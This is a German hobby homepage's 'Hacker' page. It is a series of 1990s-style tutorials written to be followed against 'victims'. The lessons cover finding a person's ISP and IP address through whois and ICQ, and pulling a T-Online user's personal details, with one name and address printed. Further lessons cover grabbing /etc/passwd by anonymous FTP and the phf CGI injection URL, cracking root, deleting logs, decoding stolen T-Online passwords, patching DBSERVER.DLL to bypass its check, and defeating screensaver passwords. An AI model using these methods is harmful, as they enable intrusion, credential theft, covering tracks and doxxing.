Web Site Title     |   home
About Us   |   Hacker   |   QBasic Tips   |   Rezepte   |   Bastelecke   |   Al Bundy   |   Related Links   |   Zungenbrecher   |   Songtexte   |   Gästebuch
Hacker


Das einzige was du benötigst, um den Provider einer Person zu ermitteln, ist seine komplette IP Adresse
oder die IP Adresse bis hin zum Subnetz.
Solltest du diese haben, dann haben wir in dem Fall schonmal gewonnen.
Solltest du diese nicht haben ... trainiere !!!
(in den meisten Chaträumen oder im IRC bekommt ihr sie mit dem Befehl "whois". Ihr könnt sie auch aus einer EMail nehmen,
indem ihr euch den Header der Message genau betrachtet)

Okay, weiter geht's.
Wir haben also die (komplette oder einen Teil) seiner IP Adresse.
Nun müssen wir nur noch eine WHOIS Anfrage starten.
Dazu nutzen wir den Service mehrerer Dienste im Internet die frei zugänglich sind.
Folgende Adresse(n) notieren:

* http://www.nic.de/whois.html
   Wir starten bei diesem Dienst unsere Anfrage sollten wir vermuten, daß die Person aus Deutschland kommt
* http://www.arin.net/whois/arinwhois.html
    Wir starten bei diesem Dienst unsere Anfrage sollten wir vermuten, daß die Person aus Amerika kommt
* http://www.ripe.net/db/whois.html
    Wir starten bei diesem Dienst unsere Anfrage sollten wir vermuten, daß die Person aus Europa (allegmein) oder Afrika kommt
* http://www.apnic.net/reg.html
    Wir starten bei diesem Dienst unsere Anfrage sollten wir vermuten, daß die Person aus Asien oder der Pazifikregion kommt

Nachdem wir unsere Anfrage gestartet haben, beeindruckt uns entweder das Ergebnis, indem wir eine positive Antwort bekommen
haben, so daß wir z.B. den Provider nun sehen können, oder aber die Adresse des Providers oder aber wie gross das Subnetz des
Providers ist. Und was man mit einem Subnetz und einem Scanner alles anrichten kann, daß wissen wir doch alle ;-)
Sollten wir aber beim ersten Mal kein Glück gehabt haben, so starten wir einfach die nächste Anfrage bei einem anderen Dienst so lange
bis wir alle durch haben oder eine positive Antwort bekommen haben.
Und das keine der Möglichkeiten funktioniert kann nicht sein, denn bei irgendeinem Provider muss er sich ja einwählen und der ist
nun mal online registriert und damit auch abrufbar ;-)

So, das war auch schon das eigentliche Geheimnis worum es beim Provider Sniffing geht !!!

Anmerkung:
AOL gehört zu Amerika

__________________________________________________________________________________________________________

IP Adresse über ICQ sniffen:
======================

Hey, einige von euch (inkl. mir) nutzen ICQ zum Austausch von Informationen und privaten Gesprächen.
Leider oder glücklicherweise (man nehme es wie es wolle!) kann man mit Hilfe alter DOS Befehle die IP
via ICQ auf einem ganz einfachen Weg herausbekommen.

Vielleicht denkt jetzt der ein oder andere, daß seine IP sicher sei, da er
"Do not allow others to see my IP adress" aktiviert hat.

Leider ist dem nicht so, wie meine 2.Stunde es euch hier Schritt für Schritt beweisen wird ;-)

Okay, hier folgt nun der komplette Weg den ihr gehen müsst um die IP's via ICQ zu sniffen:

* Schickt demjenigen eine Nachricht oder macht einen Chat auf, dessen IP ihr sniffen wollt

* Öffnet sofort nach dem Versand der Message unter Windows die Dos-Eingabeaufforderung und tippt ein:
   netstat -a
   Netstat ist ein Programm, daß euch Protokoll Statistiken und aktive Netzwerkverbindungen anzeigt

* Nach einer Weile erhaltet ihr Informationen, die folgendermaßen aussehen können:

    Active Connections

Proto         Local Address         Foreign Address            State
TCP        Demon:0            0.0.0.0:0                LISTENING
TCP    Demon:1029        0.0.0.0:0                LISTENING
TCP    Demon:1030        0.0.0.0:0                LISTENING
TCP    Demon:1090        0.0.0.0:0                LISTENING
TCP    Demon:1091        0.0.0.0:0                LISTENING
TCP    Demon:1098        0.0.0.0:0                LISTENING
TCP    Demon:1099        0.0.0.0:0                LISTENING
TCP    Demon:1093        0.0.0.0:0                LISTENING
TCP    Demon:1090        server5.sys.www.ozemail.net:80    CLOSE_WAIT
TCP    Demon:1091        server5.sys.www.ozemail.net:80    CLOSE_WAIT
TCP    Demon:1098        server5.sys.www.ozemail.net:80    CLOSE_WAIT
TCP    Demon:1099        p3-max35.auck.ihug.co.nz:1054    ESTABLISHED
TCP    Demon:137        0.0.0.0:0                LISTENING
TCP    Demon:138        0.0.0.0:0                LISTENING
TCP    Demon:nbsession    0.0.0.0:0                LISTENING
TCP    Demon:1029        0.0.0.0:0                LISTENING
TCP    Demon:1093        0.0.0.0:0                LISTENING
TCP    Demon:nbname        0.0.0.0:0                LISTENING
TCP    Demon:nbdatagram    0.0.0.0:0                LISTENING

Wie man aus diesen Informationen herausnehmen kann, besteht eine direkte Verbindung zu
p3-max35.auck.ihug.co.nz:1054
Dies ist die aktuelle "Line" (also Leitung) die der User benutzt. Genau das ist es was uns interessiert.

* Tippt in der Eingabeaufforderung ein:
   ping p3-max35.auck.ihug.co.nz:1054
   Mit dem Befehl >ping< pingt ihr den User sozusagen an und guckt ob dieser aktiv ist

Das Ergebnis ist verblüffend und kann folgendermaßen aussehen:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Pinging p3-max35.auck.ihug.co.nz [209.76.151.67] with 32 bytes of data:
Reply from 209.76.151.67: bytes=32 time=1281ms TTL=39
Request timed out.
Reply from 209.76.151.67: bytes=32 time=1185ms TTL=39
Request timed out.

Ping statistics for 209.76.151.67:
Packets: Sent = 4, Received = 2, Lost = 2 (50% loss),
Approximate round trip times in milli-seconds:
Minimum = 1185ms, Maximum =  1281ms, Average =  616ms
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Na, ihr ahnt schon etwas ????
Die aktuelle IP Adresse unseres Opfers lautet: 209.76.151.67

Mehr steckt hinter einem solchen Sniffing nicht und ist doch supereinfach, oder ???
Aber habt ihr Bock jedes Mal "netstat -a" und dann noch den langen host-name anpingen ???
Nein, denn wer hat schon Lust dazu.
Dann versuch mal anstatt "netstat -a" einfach "netstat -n", da bekommst Du eine Liste mit IP's,
mitdenen Du im Moment eine aktive Verbindung hast.

Und was man mit einer IP Adesse alles anfangen kann, muß ja von mir nicht weiter erläutert werden ;-)

So, das war's auch schon wieder für dieses Mal
Ich hoffe, daß ihr Spass an meiner 2. Hacking Lesson in German Spass hattet und euch nun auf eine weitere freut ;-)

__________________________________________________________________________________________________________

T-Online Zugangsdaten einer Webpage:
===============================

Bin wieder da mit einer neuen Stunde meiner Hacking Tutorials.
In dieser Tutorial geht es darum wie man bestimmte Daten einer Person ermittelt, wie z.B. Name, Telefonnummer, ...,
dessen Homepage auf einem T-Online Server liegt.
Das bedeutet das die URL seiner Homepage mit >http://home.t-online.de/home/< anfangen muß.

Für diese Stunde nutze ich das Beispiel indem wir einfach uns bei T-Online einloggen, irgendeine Homepage
eines Kunden suchen und diese dann öffnen.

In meinem Fall habe ich nach dem Wort "hacker" gesucht, da ich mal gerne wissen will, wer denn in Deutschland
illegale Aktionen betreibt und eventuell Hacker-Programme zum Download anbietet.
Nach einer kurzen Suche fand ich schon eine Zielperson bzw. noch die URL des Opfers:
http://home.t-online.de/home/kbtf15/files.htm

So, nun öffnen wir die Seite im Browser und schauen sie uns an ;-), denn vielleicht kann man ja noch ein paar
neue Tools downloaden, die noch nicht in unserem Besitz sind.
Nun gilt unserem Interesse dem Betreiber dieser illegalen Seite.
Dazu setzen wir eine neue Adresse in den Browser, der uns prompt die Daten liefern soll:
http://home.t-online.de/home/kbtf15/.impressum.html

Und zwar bewirkt das dieses eine HTML, daß JEDER T-Online User automatisch mit in seinem Upload Verzeichnis
anlegt und es nicht löschen kann.
Nach einer Anfrage auf diese Adresse erhalten wir folgende Informationen:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Verantwortlich für den Inhalt des Verzeichnisses http://home.t-online.de/home/0349381474-0001:

Kerber, Ulrich
Freiligrathstr. 47
06792 Sandersdorf

T-Online-Nummer: 0349381474-0001
E-Mail-Adresse: KBTF15@t-online.de
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Wie wir sehen haben wir nun alle brauchbaren Informationen gesammelt:
Namen, Vornamen, Strasse, Postleitzahl und Wohnort sowie zu seine Telefonnummer (0349381474)
und zu guter letzt auch noch seine EMail Adresse.

So, das war's auch schon wieder mit dem Tutorial.
Und dann reden wir noch von Sicherheit in Deutschland ???
Also, ich empfand dies nicht gerade als schwer und ihr hoffentlich auch nicht

P.S.: Also, immer daran denken, einfach nur >.impressum.html< hinter das Homeverzeichnis zu setzen und
         schon seit ihr ein paar Informationen über den Betreiber dieser Seite schlauer ;-)

_________________________________________________________________________________________________________


FTP Server hacken:
===============

Huhu !
Habt ihr nicht schon immer einmal daran gedacht wie es wäre einen FTP Server zu hacken, sich als root
uneingeschränkten Zugriff verschaffen und eventuell auch noch die Web Seiten auszutauschen um euch zu
präsentieren ???

Also, ich kenne keinen Hacker (oder solche, die es werden wollen), die sich dieser Vorstellung bisher entzogen haben.

Zuerst brauchen wir noch ein paar Dinge, bevor wir richtig loslegen:
* einen FTP Client (ich bevorzuge den von Windows)
* einen Password Cracker (John The Ripper)
* eine möglichst grosse Wordlist oder einen Dictionary Maker
    (dieser Punkt fällt weg, wenn wir einen BruteForce Password Cracker haben)
* viel Zeit
Ich bevorzuge noch das hinzuziehen von irgendwelchen Getränken wie Cola, Kaffee oder auch Tee.

Wenn wir all diese Dinge geklärt haben, können wir endlich loslegen ;-)

Probieren wir es zuerst mit der einfachsten Methode, indem wir unseren FTP Client starten und eine Verbindung
zum "Opfer - FTP" herstellen.
Dort versuchen wir uns nun als "anonymous" einzuloggen und senden als Passwort eine falsche E-Mail Adresse.
Hierzu gehen wir in die DOS-Eingabeaufforderung und tippen ein (nach jeder Zeile Return drücken):

ftp
open target.com
anonymous         (hier teilen wir dem Server unseren Benutzernamen mit)
Bill@Microsuck.com    (hier teilen wir dem Server "unsere" E-Mail Adresse mit)
get /etc/passwd        (wir downloaden das file mit dem Namen passwd)
get /etc/shadow        (falls die passwd nicht existiert, downloaden wir die shadow)
disconnect        (trennt die Verbindung zum Server)
quit            (schliesst den FTP Client)

Sollten wir hier schon Glück gehabt haben, ist der Rest ein Kinderspiel.
Wir besitzen schonmal das passwd file und müssen dieses nur noch cracken. Dazu nehmen wir unseren Cracker und
lassen ihn entweder nach der Dictionary oder Brute Force Methode das Passwort entschlüsseln.
Das Ergebnis was wir bekommen, ist das Passwort des "root" Account (unter Novell: Supervisor; unter NT: Administrator),
mit dem wir nun wieder eine neue FTP Verbindung zu unserem Server herstellen und uns als root und dem frisch gecrackten
Passwort anmelden.

Sollten wir allerdings an der ersten Methode gescheitert sein, können wir uns einen kleinen Bug in einigen UNIX Versionen
zu Nutze machen. Hierzu benötigst du nur noch einen Webbrowser, in den du folgende Adresse eingibst
(anstelle des www.target.com einfach den Domainnamen eintragen):
http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
bzw.
http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/shadow

Wiederum kann es hier klappen, dass wir den Inhalt der passwd oder shadow file sehen. Sollte dies der Fall sein, so
speichern wir diese und cracken sie nur noch mit Hilfe unserer Proggies, loggen uns als root ein und treiben nun nach belieben
dort unser Spielchen auf dem FTP Server.

Es kann trotzdem geschehen, dass wir noch durch keine der beiden Methoden Erfolg gehabt haben ;-(
An dieser Stelle sollten wir es mit dem Brute Force Hacking probieren.
Brute Force bedeutet ganz einfach, ALLE möglichen Kombinationen zu probieren, was sehr zeitaufwendig sein kann und wird.
TIP: UNIX Passwörter sind maximal 8 Zeichen lang !!!


So, hiermit hätten wir dann auch das Thema mit dem FTP / Website hacken abgeschlossen.
Eigentlich ist das ganze ziemlich simpel. Solltet ihr es dennoch nicht beim ersten Mal lesen verstanden haben, so lest es immer
und immer wieder und sollten dann noch Fragen auftauchen, mailt mir und fragt mich.
c u all
Cyberdemon_98


Es gilt für jede Transaktion: Solltet ihr erfolgreich in ein System mit einem Administrator Account eingebrochen sein,
killt zuerst die LOG Files, denn diese enthalten, was wirklich geschehen ist. Und wir wollen doch wirklich nicht, dass wir
unseren Gegnern eine Spur hinterlassen.
Alle Web-Server speichern irgendwo LOG-Files, indenen steht, wer sich wann, mit welchem Namen, mit welcher IP von wo aus
eingeloggt hat.

________________________________________________________________________________________________________

T-Online Zugangsdaten sniffen:
=========================

Und wieder ist ein weiteres Tutorial fertig und liegt nun direkt vor euch.
In diesem Tutor wollen wir uns um die Zugangsdaten bei T-Online kümmern und daraus lernen,
wie man Passwörter ganz einfach herausbekommt.
Diesen Teil der einfachen Verschlüsselung verdanken wir den Programmierern der T-Online Software,
die wohl keinen Bock zum verschlüsseln hatten und ein simples Muster verwendet haben ;-)
Leider habe ich feststellen müssen, das sich die "Verschlüsselung" von Version zu Version unterscheidet.

Die Zugangsdaten der T-Online Software unterliegen folgenden Konventionen:

- Anschlußkennung     : 12 Zeichen (numerisch)
- T-Online Nummer     : 12 Zeichen (numerisch)
- Suffix             : 4 Zeichen (numerisch)
- Passwort        : 8 Zeichen (alphanumerisch)

Als Passwort können sowohl Zahlen als auch Buchstaben vergeben werden.
Bei der Anschlußkennung, der T-Online Nummer und dem Suffix sind nur Zahleneingaben
(numerische Werte) möglich.

Die Zugangsdaten (inkl. Passwort) sind in der Datei "PASSWORT.INI" gespeichert.
Sollte dies nicht der Fall sein, öffnet anstelle der PASSWORT.INI die DBSERVER.INI.
Wenn ihr bemerkt das die PASSWORT.INI nicht existiert, wissen wir nun daraus, das der User die
Version 1.x benutzt.
Die beiden Dateien liegen im T-Online Verzeichnis. Der komplette Pfad zu T-Online steht wiederum
in der "WIN.INI", die sich bekanntlich im Windows Ordner aufhält.
Die in der Datei gespeicherten Informationen wurden nach folgendem System "verschlüsselt":
(verschlüsselt ist wohl nicht der richtige Ausdruck)
Solltet ihr hier schon erkennen, das es sich um eine andere Weise der Verschlüsselung handelt, dann
ist der nachfolgende Teil für euch uninteressant.
In Version 2.04 ist die Decodierung des Passwortes nämlich schwieriger als in der Vorgängerversion.
Die nachstehende Tabelle dient ausschliesslich zum Dekodieren des T-Online Passwortes in der
Version 1.x !!!

Dekodieren des Passwortes in Version 1.x
================================

FXD^    = 0    F\D^    = 1    F´D^    = 2
FdD^    = 3    GXD^    = 4    G\D^    = 5
G`D^    = 6    GdD^    = 7    HXD^    = 8
H\D^    = 9
F\Hd    = a    HdF´    = b    FdHd    = c
GXHd    = d    G\Hd    = e    G´Hd    = f
GdHd    = g    HXHd    = h    H\Hd    = i
I\Hd    = m    I´Hd    = n    IdHd    = o
FXHf    = p    F\Hf    = q    F´Hf    = r
FdHf    = s    GXHf    = t    G\Hf    = u
G´Hf    = v    GdHf    = w    HXHf    = x
H\Hf    = y    H´Hf    = z
F\F´    = A    F´F´    = B    FdF´    = C
GXF´    = D    G\F´    = E    G´F´    = F
GdF´    = G    HXF´    = H    H\F´    = I
H´F´    = J    HdF´    = K    IXF´    = L
I\F´    = M    I´F´    = N    IdF´    = O
FXFb    = P    F\Fb    = Q    F´Fb    = R
FdFb    = S    GXFb    = T    G\Fb    = U
G´Fb    = V    GdFb    = W    HXFb    = X
H\Fb    = Y    H´Fb    = Z

So, das ist auch schon alles was wir brauchen, denn mehr "Verschlüsselung" steckt hinter der
T-Online Software nicht :-)
Und was soll ich jetzt mir der obenstehenden Tabelle machen ???
Die Datei DBSERVER.INI oder PASSWORT.INI öffnen, die schei** Zeichen vergleichen, und sich
über das erklaute Passwort freuen.
Das heisst, es gilt nur für Version 1.x...denn für nachfolgende Versionen sieht die Sache schon etwas
komplizierter aus.
Da ich es euch aber nicht vorenthalten möchte, führe ich auch die Variante hier nun auf :-)

DBSERVER.DLL - Patch : Übernahme fremder Passwortdatei

T-Online 2.04 prüft automstisch, ob eine geklaute Passwort.ini ins T-Online Verzeichnis kopiert wurde.
Es erfolgt dann eine Sicherheitsabfrage bei der man das Passwort (das wir ja noch nicht kennen)
eingeben soll. Nachdem die DBSERVER.DLL wie unten stehend modifiziert wurde, kann man dort
irgendetwas eingeben, T-Online geht normal im  Programm weiter. Es wurden einfach einige Jumps
durch NOP'S (90) ersetzt.

T-Online Version 2.040 ; DBSERVER.DLL : Version 8.01
Routine beginnt ab Offset Hex: 281c0

T-Online Version 2.042 ; DBSERVER.DLL : Version 8.05
Routine beginnt ab Offset Hex: 29325

Vorher |    Nachher |   Assembler    
Hex      |    Hex          |   Quellcode
---------------------------------------------
75 32       -> 90 90          jne    29359        -->NOP NOP      
8C D0                         mov    ax,ss
8D B6 30 FF                   lea    si,[bp][0FF30]
BF 2C 80                      mov    di,0802C       
FC                            cld
50                            push   ax
33 C0                         xor    ax,ax
B9 FF FF                      mov    cx,0FFFF
F2 AE                         repne  scasb
F7 D1                         not    cx
2B F9                         sub    di,cx
8C D8                         mov    ax,ds
1F                            pop    ds
50                            push   ax
33 C0                         xor    ax,ax
F3 A6                         repe   cmpsb
1F                            pop    ds
74 05      -> 90 90           je     2934D        -->NOP NOP
1B C0                         sbb    ax,ax
1D FF FF                      sbb    ax,0FFFF
0B C0                         or     ax,ax
75 08      -> 90 90           jne    29359        -->NOP NOP    
FF 76 0E                      push   w,[bp][0000E]
6A 01                         push   01
E9 81 01                      jmp    294DA  


Jetzt kann man schon mit den Daten des Users Online gehen, aber war das Ziel unserer Mission nicht
das Passwort zu erspähen ??? Soweit sogut, um auch das Passwort sowie die Anschlußkennung zu Gesicht
zu bekommen, müssen wir wie folgt vorgehen:

a) Bei der "Alten" T-Online Version 2.040 war das einfach, man brauchte blos 2 Bytes in der DBSERVER.DLL
    austauschen :
    suche nach Hex:  54 04 20 00 83 50...  und ersetze die "20" durch "00"
    sowie nach Hex:  58 04 20 00 83 50...  und ersetze die "20" durch "00"

   Im T-Online Programm konnte man nun dort die Zugangsdaten im Klartext lesen, da man hierdurch
   das Passwort-Editfeld "*****" in ein normales Editfeld geändert hatte.

b) Bei der Version 2.042 geht das nicht mehr, dort erscheinen nur
   Sternchen ***** auch nach dem Patch aus Schritt 2a).
   Ich habe daher die T-Online Sicherheitsabfrage aus Schritt 1) umgebaut, so daß sie die Passwörter im
   Klartext anzeigt sobald eine Passwort.ini eines fremden Users eingefügt wird... ;-)  

Um mithalten zu können, geht ihr einfach wie folgt vor:

Man macht sich klar das T-Online das Passwort zunächst selbst entschlüsseln muß um festzustellen ob
das Richtige eingegeben wurde. Dieses Passwort liegt dann  irgendwo im Arbeitsspeicher des Rechners
unverschlüsselt herum! Das gleiche gilt für die Anschlußkennung, Telefonnummer und Mitbenutzernummer.
Ebensfalls im Arbeitsspeicher des Rechnes liegen diverse Strings herum, zum Beispiel
"Bitte geben Sie das Passwort ein" oder "noch % Versuche" oder "zwei".
Diese Strings werden auf dem Bildschirm ausgegeben wenn das Fenster der  T-Online Sicherheitsabfrage
erscheint.  Das einzige was man also tun muß ist die Stelle im Programm finden wo diese Strings
ausgegeben werden und den Zeiger auf diesen String umbiegen auf das Passwort...:-)
Naja, das ganze mag jetzt vielleicht einfach klingen, ist es aber nicht.
   1. Wie finde ich die Stelle im Arbeitsspeicher wo das Passwort unverschlüsselt steht?
      Starte T-Online 2.04 unter Windows 3.x; starte dann viele andere Programme bis das T-Online
      Programm vom Arbeitsspeicher in die Auslagerungsdatei (386spart.par) auf die Festplatte übertragen
      wird. Windows NICHT schließen. Die Auslagerungsdatei nach "0001" durchsuchen (ggf. mehrfach)
      oder nach der  Telefonnummer des Users. Kurz dahinter steht das Passwort im Klartext.
      Am besten zuerst mit dem eigenen Passwort ausprobieren, sofern man T-Online Kunde ist.
   2. Um welchen Wert muß ich den Zeiger des Strings ändern damit statt dessen das Passwort angezeigt wird?
      Merk dir die Position des Passworts in der Auslagerungsdatei.
      Suche jetzt nach dem String anstelle dessen du das Passwort ausgeben willst.
      Merk dir ebenfalls die Position in der Auslagerungsdatei !        
      --> Aus der Diffrerenz beider Positionen kennst du jetzt den Wert um den du den Zeiger
      ändern mußt um anstelle des Strings das Passwort im Fenster erscheinen zu lassen.
   3. Wie finde ich die Stelle im Quellcode die den String "zwei" ausgibt?         
      Disassembliere die Datei DBSERVER.DLL mit einem Windows Dissassembler (WDASM).
      Suche den String im Quellcode. Vor dem String bringt der Disassembler eine
      Markierung an z.B."L 83E9 H". Suche die Stelle im Quellcode die auf diesen
      String zeigt (suche in diesem Beispiel nach "83E9").
      So eine gefundene Stelle sieht dann z.B. so aus "MOV AX,83E9".
   4. Wie ändere ich mit diesen Daten die DBSERVER.DLL um ?
      Assembliere den gefundenen Befehl wieder in Hexadezimale Zahlen --> B9 E9 83
      Suche nach diesen 3 Zahlen in der DBSERVER.DLL .
      Addiere/Subtrahiere jetzt den Wert den du unter 2. errechnet hast.
      Schreibe diesen Wert (z.B. 83F4) jetzt an die gefundene Stelle.  
      B9 F4 83  "MOV AX, 83F4"   

SO, den Rest kennt ihr ja:
Die erklauten Daten auf einem Zettel notieren, T-Online installieren (sofern man dies noch nicht getan hat),
die Zugangsdaten eingeben, und eine Verbindung aufbauen :-)

Wie ihr ja auch sicher alle wisst, nutzt man soetwas natürlich nur für seine eigene Datei, und
missbraucht diese Tips nicht zu irgendwelchen illegalen Zwecken, denn das wäre ja fies ;-)
Und fies sein will doch wohl keiner von euch, oder ???


_______________________________________________________________________________________________________

Passwort des Screensaver unter Win3x:
==============================

Jep, ihr seit also wieder da ??? - Gut.
Heute wird es eine sehr kurze Hacking Stunde, denn heute möchte ich zeigen, wie man das
Passwort des Bildschirmschoners unter Windows 3.x umgeht/löscht.
Es wird deshalb eine kurze Lesson, da die Programmierer von Microsoft eine echt affige
Verschlüsselung eingebaut haben, die wir aber ausnutzen können ;-)

Es ist bei Win 3.x echt simpel.
Die Microsoft Programmierer liessen uns mehrere Wege offen um den "Schutz" zu umgehen.

1. Möglichkeit
Bei älteren Bildschirmschonern kann man die Kennworteingabe umgehen, indem man
STRG + ESC oder STRG + ALT + ENTF (Task beenden) drückt.

2. Möglichkeit
Das Passwort des Bilschirmschoners wird verschlüsselt in der Registrierdatenbank unter
HKey_Current_User\ControlPanel\desktop als Binärwert "ScreenSave_Data" gespeichert.
Wenn dieser Schlüssel oder sein Wert gelöscht wird, ist der Passwortschutz weg.

3. Möglichkeit
Das Bildschirmschoner Passwort wird in der Control.ini im Windowsverzeichnis festgehalten.
Die Datei einfach in einen Viewer (Notepad, Wordpad) laden.
Nun erhält man weiter unten die ganzen installierten Screensaver.
Die Bildschirmschoner, mit denen man das Windows schützen kann, enhalten eine Zeile wie:
Password=
PWProtected=0 (nicht geschützt oder 1 für geschützt)
Bei dem ertsen Beispiel löscht man ganz einfach den dahinterstehenden, verschlüsselten Text.
Bei dem zweiten Beispiel ändert man ganz einfach den Wert auf 0 falls dieser auf 1 steht.

So, dann wäre auch das Problem aus der Welt geschafft ;-)

________________________________________________________________________________________________________

Passwort des Screensaver unter Win95:
==============================

So, in der vorherigen Lesson habe ich euch gezeigt, wie einfach es ist das Passwort
des Bildschirmschoners zu "deaktivieren". Dies ist auch unter Windows 95/98 kein
Problem.

Anders als in der letzten Lesson, möchte ich euch hier zeigen, wie man das Passwort
anhand einer Tabelle entschlüsselt.
Um zuerst einmal an die Daten zu kommen, startet ihr die Registrierung (regedit) und
springt zu folgendem Schlüssel:

Hkey_Current_User\ControlPanel\Desktop\ScreenSave_Data

Da angekommen schaut ihr euch die dort stehenden (noch unkenntlichen" Zeichen an,
notiert sie euch gegebenfalls, und entschlüsselt das Passwort mit Hilfe der hier
aufgeführten Tabelle.

TIP: Dieses Dokument am besten mit Wordpad bei einer Auflösung von 800*600
        betrachten !!!

=======================================================================
           1         2         3        4         5         6         7       8        9       10         11       12       13       14       15
=======================================================================
A   | 3039 | 4146 | 3337 | 3543 | 3236 | 3238 | 4530 | 3541 | 3342 | 4344 | 3036 | 4239 | 3135 | 4434 | 4436
----------------------------------------------------------------------------------------------------------------------------
B    | 3041 | 4143 | 3334 | 3546 | 3235 | 3242 | 4533 | 3539 | 3338 | 4345 | 3035 | 4241 | 3136 | 4437 | 4435
----------------------------------------------------------------------------------------------------------------------------
C    | 3042 | 4144 | 3335 | 3545 | 3234 | 3241 | 4532 | 3538 | 3339 | 4346 | 3034 | 4242 | 3137 | 4436 | 4434
----------------------------------------------------------------------------------------------------------------------------
D   | 3043 | 4141 | 3332 | 3539 | 3233 | 3244 | 4535 | 3546 | 3345 | 4338 | 3033 | 4243 | 3130 | 4431 | 4433
----------------------------------------------------------------------------------------------------------------------------
E    | 3044 | 4142 | 3333 | 3538 | 3232 | 3243 | 4534 | 3545 | 3346 | 4339 | 3032 | 4244 | 3131 | 4430 | 4432
----------------------------------------------------------------------------------------------------------------------------
F    | 3045 | 4138 | 3330 | 3542 | 3231 | 3246 | 4537 | 3544 | 3343 | 4341 | 3031 | 4145 | 3135 | 4433 | 4431
----------------------------------------------------------------------------------------------------------------------------
G   | 3046 | 4139 | 3331 | 3541 | 3230 | 3245 | 4536 | 3543 | 3344 | 4342 | 3030 | 4246 | 3133 | 4432 | 4430
----------------------------------------------------------------------------------------------------------------------------
H   | 3030 | 4136 | 3345 | 3535 | 3246 | 3231 | 4539 | 3533 | 3332 | 4334 | 3046 | 4230 | 3143 | 4444 | 4446
----------------------------------------------------------------------------------------------------------------------------
I     | 3031 | 4137 | 3346 | 3534 | 3245 | 3230 | 4538 | 3532 | 3333 | 4335 | 3045 | 4231 | 3144 | 4443 | 4445
----------------------------------------------------------------------------------------------------------------------------
J    | 3032 | 4134 | 3343 | 3537 | 3244 | 3233 | 4542 | 3531 | 3330 | 4336 | 3044 | 4232 | 3145 | 4446 | 4444
----------------------------------------------------------------------------------------------------------------------------
K   | 3033 | 4135 | 3344 | 3536 | 3243 | 3232 | 4541 | 3530 | 3331 | 4337 | 3043 | 4233 | 3146 | 4445 | 4443
----------------------------------------------------------------------------------------------------------------------------
L    | 3034 | 4132 | 3341 | 3531 | 3242 | 3235 | 4544 | 3537 | 3336 | 4330 | 3042 | 4234 | 3138 | 4439 | 4442
----------------------------------------------------------------------------------------------------------------------------
M   | 3035 | 4133 | 3342 | 3530 | 3241 | 3234 | 4543 | 3536 | 3337 | 4331 | 3041 | 4235 | 3139 | 4438 | 4441
----------------------------------------------------------------------------------------------------------------------------
N   | 3036  | 4130 | 3338 | 3533 | 3239 | 3237 | 4546 | 3535 | 3334 | 4332 | 3039 | 4236 | 3141 | 4442 | 4439
----------------------------------------------------------------------------------------------------------------------------
O   |  3037 | 4131 | 3339 | 3532 | 3238 | 3236 | 4545 | 3534 | 3335 | 4333 | 3038 | 4237 | 3142 | 4441 | 4438
----------------------------------------------------------------------------------------------------------------------------
P    | 3138 | 4245 | 3236 | 3444 | 3337 | 3339 | 4631 | 3442 | 3241 | 4443 | 3137 | 4138 | 3034  | 4335 | 4337
----------------------------------------------------------------------------------------------------------------------------
Q   | 3139 | 4246 | 3237 | 3443 | 3336 | 3338 | 4630 | 3441 | 3242 | 4444 | 3136 | 4139 | 3035 | 4334 | 4336
----------------------------------------------------------------------------------------------------------------------------
R   | 3141 | 4243 | 3234 | 3446 | 3335 | 3342 | 4633 | 3439 | 3238 | 4445 | 3135 | 4141 | 3036 | 4337 | 4335
----------------------------------------------------------------------------------------------------------------------------
S   | 3142 | 4244 | 3235 | 3445 | 3334 | 3341 | 4632 | 3438 | 3239 | 4446 | 3134 | 4142 | 3037 | 4336 | 4334
----------------------------------------------------------------------------------------------------------------------------
T   | 3143 | 4241 | 3232 | 3439 | 3333 | 3344 | 4635 | 3446 | 3245 | 4438 | 3133 | 4143 | 3030 | 4331 | 4333
----------------------------------------------------------------------------------------------------------------------------
U   | 3144 | 4242 | 3233 | 3438 | 3332 | 3343 | 4634 | 3445 | 3246 | 4439 | 3132 | 4144 | 3031 | 4330 | 4332
----------------------------------------------------------------------------------------------------------------------------
V   | 3145 | 4238 | 3230 | 3442 | 3331 | 3346 | 4637 | 3444 | 3243 | 4441 | 3131 | 4145 | 3032 | 4333 | 4331
----------------------------------------------------------------------------------------------------------------------------
W | 3146 | 4239 | 3231 | 3441 | 3330 | 3345 | 4636 | 3443 | 3244 | 4442 | 3130 | 4146 | 3033 | 4332 | 4330
----------------------------------------------------------------------------------------------------------------------------
X  | 3130 | 4236 | 3245 | 3435 | 3346 | 3331 | 4639 | 3433 | 3232 | 4434 | 3146 | 4130 | 3043 | 4344 | 4346
----------------------------------------------------------------------------------------------------------------------------
Y  | 3131 | 4237 | 3246 | 3434 | 3345 | 3330 | 4638 | 3432 | 3233 | 4435 | 3145 | 4131 | 3044 | 4343 | 4345
----------------------------------------------------------------------------------------------------------------------------
Z  | 3132 | 4234 | 3243 | 3437 | 3344 | 3333 | 4642 | 3431 | 3230 | 4436 | 3144 | 4132 | 3045 | 4346 | 4344
----------------------------------------------------------------------------------------------------------------------------
Æ | 3845 | 3238 | 4230 | 4442 | 4131 | 4146 | 3637 | 4444 | 4243 | 3441 | 3831 | 3345 | 3932 | 3533 | 3531
----------------------------------------------------------------------------------------------------------------------------
Ø  | 3930 | 3336 | 4145 | 4335 | 4246 | 4231 | 3739 | 4333 | 4132 | 3534 | 3946 | 3230 | 3843 | 3444 | 3446
----------------------------------------------------------------------------------------------------------------------------
Å | 3844 | 3242 | 4233 | 4438 | 4132 | 4143 | 3634 | 4445 | 4246 | 3439 | 3832 | 3344 | 3931 | 3530 | 3532
----------------------------------------------------------------------------------------------------------------------------
0  | 3738 | 4445 | 3436 | 3244 | 3537 | 3539 | 3931 | 3242 | 3441 | 4243 | 3737 | 4338 | 3634 | 4135 | 4137
----------------------------------------------------------------------------------------------------------------------------
1  | 3739 | 4446 | 3437 | 3243 | 3536 | 3538 | 3930 | 3241 | 3442 | 4244 | 3736 | 4339 | 3635 | 4134 | 4136
